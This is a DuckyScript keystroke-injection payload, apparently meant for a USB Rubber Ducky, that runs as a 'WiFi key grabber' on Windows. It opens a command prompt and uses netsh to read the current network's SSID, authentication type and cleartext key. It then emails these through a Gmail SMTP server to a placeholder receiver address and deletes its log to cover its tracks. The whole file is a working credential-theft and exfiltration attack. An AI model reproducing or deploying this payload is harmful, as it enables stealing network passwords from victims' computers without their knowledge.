DELAY 3000
REM --> Minimize all windows
WINDOWS d
DELAY 250
REM --> Open cmd
WINDOWS r
DELAY 500
STRING cmd
ENTER
DELAY 200

REM FASE 2: Information gathering
REM --> Find the SSID and set 'a'
STRING cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=:"  %a in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set a=%a
ENTER
STRING set a="%a:~1%"
ENTER
REM --> Get raw info and set 'a'
STRING netsh wlan show profiles %a% key=clear | findstr /c:"Network type"  /c:" Authentication"  /c:"Key Content"| findstr /v "broadcast"| findstr /v "Radio">>a
ENTER
REM --> Find the Network type in the raw info and set 'b'
STRING for /f "tokens=3 delims=: "  %a in ('findstr "Network type"  a') do set b=%a
ENTER
REM --> Find the auth type in the raw info and set 'c'
STRING for /f "tokens=2 delims=: "  %a in ('findstr " Authentication"  a') do set c=%a
ENTER
REM --> Find the key content in the raw info and set 'd'
STRING for /f "tokens=3 delims=: "  %a in ('findstr "Key Content"  a') do set d=%a
ENTER
REM --> Delete raw info / 'a'
STRING del a
ENTER
REM --> Write all info to log
STRING echo ssid: %a%>>log & echo type: %b%>>log & echo auth: %c%>>log & echo key: %d%>>log
ENTER
STRING echo If all variables are empty there was no wireless connection>>log
ENTER
STRING echo If only the key variable is empty the payload requires UAC, or the authentication type isn't supported>>log
ENTER

REM FASE 3: Phone home
REM --> Create an SMTP server with specified credentials and send log to specified receiver
STRING powershell
ENTER
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
REM --> Google account login, password must start with a lowercase letter
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('ACCOUNT@gmail.com', 'PASSWORD')
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'ACCOUNT@gmail.com'
ENTER
REM --> Log receiver
STRING $ReportEmail.To.Add('RECEIVER@gmail.com')
ENTER
STRING $ReportEmail.Subject = 'WiFi key grabber'
ENTER
STRING $ReportEmail.Body = (Get-Content log | out-string)
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 500

REM FASE 4: Final cleanup
REM --> Delete log and exit
STRING del log & exit
ENTER